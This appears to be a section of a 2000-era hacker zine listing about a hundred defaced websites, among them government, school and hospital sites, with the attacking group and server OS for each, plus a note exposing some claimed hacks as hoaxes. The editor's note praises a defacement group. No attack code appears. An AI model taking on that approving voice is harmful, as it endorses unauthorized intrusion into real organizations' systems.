___| _ \ |
| __| _` |\ \ / | | __| _ \ _` |
| | ( | ` < | | | __/ ( |
\____|_| \__,_| _/\_\\___/ _| \___|\__,_|
Note: The hacked site reports stay, especially wsith some cool hits by
groups like *H.A.R.P, go get em boyz racism is a mugs game! - Ed
* Hackers Against Racist Propaganda (See issue #7)
Haven't heard from Catharsys in a while for those following their saga visit
http://frey.rapidnet.com/~ptah/ for 'the story so far'...
Hacker groups breakdown is available at Attrition.org
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
check out http://www.attrition.org/mirror/attrition/groups.html to see who
you are up against. You can often gather intel from IRC as many of these
groups maintain a presence by having a channel with their group name as
the channel name, others aren't so obvious but do exist.
>Hacked Sites Start<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Defaced domain: www.waterworld.org
Site Title: Ron Kobasa
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/16/www.waterworld.org
Defaced by: wkD
Operating System: Linux
Defaced domain: www.coolmail.com
Site Title: Coolmail Partners
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/16/www.coolmail.com
Defaced by: wkD
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.cypoc.com
Site Title: CYPOC
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/17/www.cypoc.com
Defaced by: Team China
Operating System: Solaris 2.6 - 2.7
Potentially offensive content on defaced page.
Defaced domain: www.gbrmpa.gov.au
Site Title: Great Barrier Reef Marine Park Authority
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/17/www.gbrmpa.gov.au
Defaced by: 404 Crew
Operating System: Solaris (PHP/4.0B2 mod_ssl/2.4.5 OpenSSL/0.9.4)
Potentially offensive content on defaced page.
Defaced domain: predator-vs-aliens.com
Site Title: predator vs aliens
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/17/predator-vs-aliens.com
Defaced by: Cyberia / TerrorNet
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.madfishinc.com
Site Title: Mad Fish Inc.
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/17/www.madfishinc.com
Defaced by: wkD
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: thomas.loc.gov
Site Title: US Congress Web site
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/17/thomas.loc.gov
Defaced by: LmT and r00tcrew
Operating System: Unix
FREE KEVIN reference in the HTML
Potentially offensive content on defaced page.
Attrition comment: This is the Library of Congress THOMAS Web site
Defaced domain: www.ifi.gov.co
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/18/www.ifi.gov.co
Defaced by: IDK
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: wrox.boston.k12.ma.us
Site Title: West Roxbury High School
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/18/wrox.boston.k12.ma.us
Defaced by: Team Echo
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: www.audi.de
Site Title: Audi AG
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/19/www.audi.de
Defaced by: LmT
Operating System: Solaris
Potentially offensive content on defaced page.
Attrition comment: This is the same group that defaced the THOMAS site
Defaced domain: kent.handysoft.co.kr
Site Title: Handy Soft Corporation
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/19/kent.handysoft.co.kr
Defaced by: tkz
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.gartlandfoundry.com
Site Title: Gartland Foundry
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/19/www.gartlandfoundry.com
Defaced by: pariah
Operating System: NT
Potentially offensive content on defaced page.
Defaced domain: www.idlecreek.com
Site Title: Idle Creek Development, Inc.
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/19/www.idlecreek.com
Defaced by: pariah
Operating System: NT
Potentially offensive content on defaced page.
Defaced domain: www.culinaryinstitute.com
Site Title: Institute of Culinary Arts
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/19/www.culinaryinstitute.com
Defaced by: Team Echo
Operating System: NT
Potentially offensive content on defaced page.
Defaced domain: www.emcoin.com.ar
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/19/www.emcoin.com.ar
Operating System: BSDI
Potentially offensive content on defaced page.
Defaced domain: www.redetec.org.br
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/19/www.redetec.org.br
Defaced by: OHB Team
Operating System: NT
Potentially offensive content on defaced page.
Defaced domain: www.rsl.com
Site Title: Rochester Systems Ltd.
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/19/www.rsl.com
Defaced by: lysergik
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.rsl.com
Site Title: Rochester Systems Ltd.
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/19/www.rsl.com
Defaced by: lysergik
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: rachelsnetwork.com
Site Title: Rachel's Network
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/rachelsnetwork.com
Defaced by: ph
Operating System: BSD/OS
Defaced domain: www.vnuhcm.edu.vn
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/www.vnuhcm.edu.vn
Defaced by: Team-Echo
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.bacards.pvt.k12.mn.us
Site Title: Minnesota K12 Schools
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/www.bacards.pvt.k12.mn.us
Defaced by: bobabc
Operating System: NT
Potentially offensive content on defaced page.
Defaced domain: www.simplewarez.com
Site Title: Pedro Lucas Rocha Bessa
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/www.simplewarez.com
Defaced by: bobabc
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: clea.wipo.int
Site Title: World Intellectual Property Organization, Database of Intellectual Property Laws
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/clea.wipo.int
Defaced by: phiber
Operating System: Windows NT
Defaced domain: www.ivi.org
Site Title: The International Vaccine Institute
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/www.ivi.org
Defaced by: confusion
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: pericles2.europarl.eu.int
Site Title: European Parlement (site 2)
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/pericles2.europarl.eu.int
Defaced by: confusion
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: www.pcmac.com
Site Title: PC Mac Consultants
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/www.pcmac.com
Defaced by: confusion
Operating System: Windows NT
Previously defaced on 99.11.28 by cipher
Potentially offensive content on defaced page.
Defaced domain: pericles1.europarl.eu.int
Site Title: European Parliament
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/pericles1.europarl.eu.int
Defaced by: confusion
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: www.bluehat.com
Site Title: BlueHat
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/www.bluehat.com
Defaced by: Klept0
Operating System: Red Hat Linux
Potentially offensive content on defaced page.
Defaced domain: mail.wateye.com
Site Title: Watauge Eye Center, PA
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/mail.wateye.com
Defaced by: Screaching Weasel
Operating System: Red Hat Linux
Potentially offensive content on defaced page.
Defaced domain: secure.411now.net
Site Title: Internet Marketing Solutinos of Florida
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/secure.411now.net
Defaced by: m0zy
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.mct.nu
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/www.mct.nu
Defaced by: vorlon
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.saclant.nato.int
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/www.saclant.nato.int
Defaced by: confusion
Operating System: Windows 95 (Simple, Secure Web Server 1.1)
Potentially offensive content on defaced page.
Defaced domain: ioc.unesco.org
Site title: UNESCO's Intergovernmental Oceanographic Commission
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/ioc.unesco.org
Defaced by: confusion
Operating System: Windows NT 4.0
Potentially offensive content on defaced page.
Defaced domain: www.lutherancentraldist.org
Site Title: Lutheran Church-Canada, Central District
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/www.lutherancentraldist.org
Defaced by: Anti_Taco
Operating System: Windows (Microsoft-PWS-95/2.0)
Potentially offensive content on defaced page.
Defaced domain: www.homeport.bc.ca
Site Title: Bazan Bay o/a HomePort
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/www.homeport.bc.ca
Defaced by: KabraLzZ
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: bps.boston.k12.ma.us
Site Title: Massachusetts K12 Schools
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/bps.boston.k12.ma.us
Defaced by: BoBaBc
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.perfectsite.com.br
Site Title: CONSERVADORA E INSTALADORA DE MAQUINAS E APARELHOS
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/www.perfectsite.com.br
Defaced by: KabraLzZ
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.weatherford.com
Site Title: Weatherford Entra
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/www.weatherford.com
Defaced by: Team Echo
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.conferencecoll.com
Site Title: Conference Coll, Inc
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/www.conferencecoll.com
Defaced by: p(H)
Operating System: BSDI
Potentially offensive content on defaced page.
Defaced domain: rgshaw.boston.k12.ma.us
Site Title: Massachusetts K12 Schools
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/20/rgshaw.boston.k12.ma.us
Defaced by: Team Echo
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.torahacademy.org
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/21/www.torahacademy.org
Operating System: Windows NT (IIS/4.0)
Previously defaced on 99.12.21 99.12.19 by
Potentially offensive content on defaced page.
Defaced domain: www.homeport.bc.ca
Site Title: Bazan Bay o/a HomePort
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/21/www.homeport.bc.ca
Operating System: Windows NT (IIS/4.0)
Previously defaced on today by
Potentially offensive content on defaced page.
Defaced domain: www.mms.gov
Site Title: MMS
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/21/www.mms.gov
Defaced by: forrest
Operating System: Windows NT (IIS/4.0)
Previously defaced on 99.10.29, 99.10.28, 99.12.31 by fuqrag, fuqrag, hv2k
Potentially offensive content on defaced page.
Defaced domain: www.ibe.ane.ru
Site Title: Institute of Business & Economics, Russia Academy of National Economy
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/21/www.ibe.ane.ru
Defaced by: sh00ter
Operating System: Windows NT
Defaced domain: www.tsururestaurant.com
Site Title: Trusu Restaurant
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/21/www.tsururestaurant.com
Defaced by: lysergik
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: www.cisasailing.org
Site Title: CISA
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/21/www.cisasailing.org
Defaced by: Team Echo
Operating System: Windows NT (WebSitePro)
Potentially offensive content on defaced page.
Defaced domain: www.telematic.edu.pe
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/21/www.telematic.edu.pe
Defaced by: Team Echo
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.yepp.com
Site Title: Yorktown Printing Corp
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/21/www.yepp.com
Defaced by: lysergik
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.sd.fisc.navy.mil
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/21/www.sd.fisc.navy.mil
Defaced by: DHC
Operating System: WinNT
Defaced domain: www.infopuc.pucp.edu.pe
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/21/www.infopuc.pucp.edu.pe
Defaced by: Team Echo
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.dabassment.com
Site Title: FREDC NOSE
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/21/www.dabassment.com
Operating System: Solaris 2.x
Potentially offensive content on defaced page.
Defaced domain: www.redhotprice.com
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/21/www.redhotprice.com
Defaced by: lysergik
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.yorktownchamber.org
Site Title: New Yorktown Chamber of Commerce
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/21/www.yorktownchamber.org
Defaced by: lysergik
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.nypennysaver.com
Site Title: Yorktown ELectronic Publishing
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/21/www.nypennysaver.com
Defaced by: lysergik
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.pennysaver.net
Site Title: Yorktown Electronic Publishing
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/21/www.pennysaver.net
Defaced by: lysergik
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.kaplan.com.co
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/22/www.kaplan.com.co
Defaced by: sh00tR
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.globaltex.org
Site Title: Globaltex Corp
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/22/www.globaltex.org
Defaced by: pH
Operating System: BSDI
Potentially offensive content on defaced page.
Defaced domain: www.safersex.co.za
Site Title: Safer Sex
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/22/www.safersex.co.za
Defaced by: #Dorknet
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.cdcs.com
Site Title: C & D Consulting, LLC
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/22/www.cdcs.com
Defaced by: slash
Operating System: WIndows NT (IIS/4.0)
Previously defaced on 99.11.14 by DHC
Potentially offensive content on defaced page.
Defaced domain: www.ipuf.sc.gov.br
Site Title: Universidade Federal de Santa Catarina
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/22/www.ipuf.sc.gov.br
Defaced by: Fuck Spy
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.mitinci.gob.pe
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/22/www.mitinci.gob.pe
Defaced by: Shredder
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.cpa.sp.gov.br
Site Title: Governo Do Estado De Sao Paulo
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/22/www.cpa.sp.gov.br
Defaced by: Fuck SPy
Operating System: Windows NT (IIS/3.0)
Potentially offensive content on defaced page.
Defaced domain: www.transportes.gov.br
Site Title: Ministerio Dos Transportes
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/22/www.transportes.gov.br
Operating System: Windows NT (IIS/3.0)
Potentially offensive content on defaced page.
Defaced domain: www.psemu.com
Site Title: The New Planet
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/22/www.psemu.com
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.cra.ed.cr
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/22/www.cra.ed.cr
Defaced by: Team Echo
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.ajga.org
Site Title: American Junior Golf Association
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/22/www.ajga.org
Defaced by: lysergik
Operating System: Windows NT (IIS/3.0)
Potentially offensive content on defaced page.
Defaced domain: www.armeniansisters.org
Site Title: Armenian Sisters' Academy
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/22/www.armeniansisters.org
Defaced by: HijAk Team
Operating System: BSDI
Potentially offensive content on defaced page.
The alleged hacks of:
http://www.armeniansisters.org
http://www.usabia.org
http://www.armgate.com
http://www.armtv.com
have been determined to be hoaxes.
The group claiming to do it called themselves "hijak team". Looking at the
NIC registry for the first two domains:
Registrant:
US-Armenia Business & Investment Association (USABIA-DOM)
hijak st azerbaina for ever
Baku, Az 3700001
AZ
Domain Name: USABIA.ORG
Administrative Contact, Technical Contact, Zone Contact:
netninja, Sanjay (SP335) infowar@ANTIONLINE.ORG
99412666666 (FAX) 94412666666
Billing Contact:
netninja, Sanjay (SP335) infowar@ANTIONLINE.ORG
99412666666 (FAX) 94412666666
Combine that with the second two domains (which appear to be legitimate),
and the fact that the first two were hosted on free servers (Hypermart),
it appears this group and their actions are a big hoax.
forced ~$ traceroute www.usabia.org
traceroute to www.usabia.org (206.253.222.119), 30 hops max, 40 byte packets
[snip..]
8 internapsea-gw.customer.ALTER.NET (157.130.178.34) 36.115 ms 36.477 ms 37.414 ms
9 border3bs.fe0-0-0-fenet1.sea.pnap.net (206.253.192.139) 37.879 ms 35.513 ms 39.053 ms
10 server28.hypermart.net (206.253.222.119) 36.521 ms 39.691 ms 38.48 ms
Defaced domain: www.lucent.com.tw
Site Title: Lucent Technologies Co
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/22/www.lucent.com.tw
Defaced by: inferno.br
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.jbflint.com
Site Title: Jim Bell & Son, Inc.
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/22/www.jbflint.com
Defaced by: artech
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.imsoelite.com
Site Title: Matthew Price
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/22/www.imsoelite.com
Operating System: Solaris 2.6 - 2.7
Potentially offensive content on defaced page.
Defaced domain: www.cyberenvoy.com
Site Title: Westech SDC, Inc.
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/22/www.cyberenvoy.com
Defaced by: pH
Operating System: BSDI
Potentially offensive content on defaced page.
Defaced domain: www.riopoty.com.br
Site Title: Hotel Rio Poty S/A
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.riopoty.com.br
Defaced by: OHB
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.encamp.ad
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.encamp.ad
Defaced by: Team Echo
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.familycomputerworkshop.com
Site Title: Family Computer Workshop
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.familycomputerworkshop.com
Defaced by: OHB
Operating System: Windows NT (IIS/4.0)
Previously defaced on 99.12.30 99.12.29 by OHB BLN
Potentially offensive content on defaced page.
Defaced domain: ntserver01.thomastonschools.org
Site Title: Thomaston Public Schools
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/ntserver01.thomastonschools.org
Defaced by: Keebler Elf
Operating System: Windows NT (IBM-ICS/4.2.1.7)
Potentially offensive content on defaced page.
Defaced domain: www.segup.pa.gov.br
Site Title: Governo Do Estado Do Para
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.segup.pa.gov.br
Defaced by: OHB
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.aua.am
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.aua.am
Defaced by: Team Echo
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.aaesa.org
Site Title: American Association of Educational Service Agencies
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.aaesa.org
Defaced by: sh00tr
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.wpoint.com.br
Site Title: Net Sistema Telecomunicacoes Ltda
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.wpoint.com.br
Defaced by: OHB Team
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: www.hasp.org.br
Site Title: Hospital Adventista de São Paulo
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.hasp.org.br
Defaced by: The Killer
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: www.webavenue.co.za
Site Title: Web Avenue S.A
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.webavenue.co.za
Defaced by: #Dorknet
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: www.scania.co.uk
Site Title: Scania Computer Services Ltd
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.scania.co.uk
Defaced by: Dr_Delete
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.rsfm.co.za
Site Title: RSFM Online
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.rsfm.co.za
Defaced by: Tr1pl3 S31S
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.malealea.co.ls
Site Title: Malealea Lodge in Lesotho
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.malealea.co.ls
Defaced by: unknown
Operating System: Windows NT
Defaced domain: gospelmusic.com.br
Site Title: Open Computer Ltda
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/gospelmusic.com.br
Defaced by: blackc0de
Operating System: BSDI 3.x
Potentially offensive content on defaced page.
Defaced domain: www.starrett.com
Site Title: The L.S. Starrett Company
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.starrett.com
Defaced by: WOH
Operating System: Windows NT (IIS/3.0)
Potentially offensive content on defaced page.
Defaced domain: www.addsoft.net
Site Title: Addsoft Corporation
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.addsoft.net
Defaced by: WOH
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.scania.co.uk
Site Title: Scania COmputer Services Ltd
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.scania.co.uk
Defaced by: Fuby
Operating System: Windows NT (IIS/4.0)
Previously defaced on today by redefacing is lame
Potentially offensive content on defaced page.
Defaced domain: www.addsoft.net
Site Title: Addsoft Corporation
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.addsoft.net
Defaced by: Fuby
Operating System: Windows NT (IIS/4.0)
Previously defaced on today by redefacing is lame
Potentially offensive content on defaced page.
Defaced domain: www.sex-100.com
Site Title: The Hang Loose Bastards
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.sex-100.com
Defaced by: Counter Culture
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.sespa.pa.gov.br
Site Title: Governo Do Estado do Para
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.sespa.pa.gov.br
Defaced by: OHB
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Site Title: Governo Do Estado de Sao Paulo
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.cpa.sp.gov.br
Defaced by: OHB
Operating System: Windows NT (IIS/3.0)
Previously defaced on 00.01.22 by Fuck Spy
Potentially offensive content on defaced page
Defaced domain: www7.prodepa.gov.br
Site Title: Prodepa - Processamento De Dados Do Estado Do Para
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www7.prodepa.gov.br
Defaced by: p4riah
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.c-cube.net
Site Title: Convergent Communications Consultants Inc
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/www.c-cube.net
Defaced by: ManicDVLN
Operating System: Solaris
Potentially offensive content on defaced page.
Defaced domain: bassd.labs.pulltheplug.com
Site Title: PullthePlug Tech.
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/23/bassd.labs.pulltheplug.com
Defaced by: XBC
Operating System: FreeBSD
Defaced domain: www.clanberries.com
Site Title: Clanberries
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/24/www.clanberries.com
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.ncr.org
Site Title: National Church Residences
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/24/www.ncr.org
Defaced by: Team Echo
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: hcrp.fmrp.usp.br
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/24/hcrp.fmrp.usp.br
Defaced by: thekiller
Operating System: Windows NT (IIS/3.0)
Potentially offensive content on defaced page.
Defaced domain: www.camm.it
Site Title: Sviluppo Softare C.A.D.
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/24/www.camm.it
Defaced by: r4z
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.animerica.com
Site Title: Animerica
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/24/www.animerica.com
Defaced by: bansh33
Operating System: Windows NT
Defaced domain: www.ihip.pku.edu.cn
Site Title: Institute of Heavy Ion Physics
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/24/www.ihip.pku.edu.cn
Defaced by: Team Echo
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: www.teknology-source.com
Site Title: Technology Source
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/24/www.teknology-source.com
Defaced by: auto360
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.caligari.com
Site Title: Caligari COrp.
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/24/www.caligari.com
Defaced by: messiah
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.caligari.com
Site Title: Caligari COrp.
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/24/www.caligari.com
Defaced by: messiah
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: ryecityschools.lhric.org
Site Title: B.O.C.E.S. Southern Westchester
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/24/ryecityschools.lhric.org
Operating System: Windows NT (IIS/3.0)
Potentially offensive content on defaced page.
Defaced domain: www.wondergifts.com
Site Title: Wonder Gifts
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/24/www.wondergifts.com
Defaced by: auto360
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.webtology.com
Site Title: Webtology
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/24/www.webtology.com
Defaced by: auto360
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.whitefox.net
Site Title: C&M Consulting
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/24/www.whitefox.net
Defaced by: auto360
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.hoaa.com
Site Title: Home Association of America
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/24/www.hoaa.com
Defaced by: Team Echo
Operating System: BSDI 3.x
Potentially offensive content on defaced page.
Defaced domain: www.ransom.org
Site Title: Ransom Memorial Hospital
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/25/www.ransom.org
Defaced by: operação arrastão
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: www.eichertrail.com
Site Title: The Eicher Trail
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/25/www.eichertrail.com
Defaced by: t.s.g.u.
Operating System: Irix
Defaced domain: www.kkh.com.sg
Site Title: KK Women's & Children's Hospital
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/25/www.kkh.com.sg
Defaced by: operação arrastão
Operating System: Windows NT
ATTRITION Staff Comment: This is the second hospital defaced by this group
Defaced domain: www.subterminal.com
Site Title: Subterminal
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/25/www.subterminal.com
Defaced by: Artech
Operating System: Windows NT
Defaced domain: redelet.etfgo.br
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/25/redelet.etfgo.br
Defaced by: thekiller
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: barney.wr.usgs.gov
Site Title: United States Geological Survey
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/25/barney.wr.usgs.gov
Defaced by: Dead-Socket
Operating System: Linux
Potentially offensive content on defaced page.
Defaced domain: www.webzsite.com
Site Title: Webzsite.com - Brock Eastman
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/25/www.webzsite.com
Defaced by: cybernetix
Operating System: Linux
Potentially offensive content on defaced page
Defaced domain: www.campaignzone.com
Site Title: goGrrl Network
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/25/www.campaignzone.com
Defaced by: artech
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.ransom.org
Site Title: Ransom Memorial Hospital
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/25/www.ransom.org
Defaced by: operação arrastão
Operating System: Windows NT
Potentially offensive content on defaced page.
Defaced domain: www.wretchedmusic.com
Site Title: Wretched
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/25/www.wretchedmusic.com
Defaced by: auto360
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.normsterling.com
Site Title: Norm Sterling, MPP
Mirror:
http://www.attrition.org/mirror/attrition/2000/01/25/www.normsterling.com
Defaced by: moron
Operating System: Windows NT (IIS/4.0)
Potentially offensive content on defaced page.
Defaced domain: www.toy-soldier.com
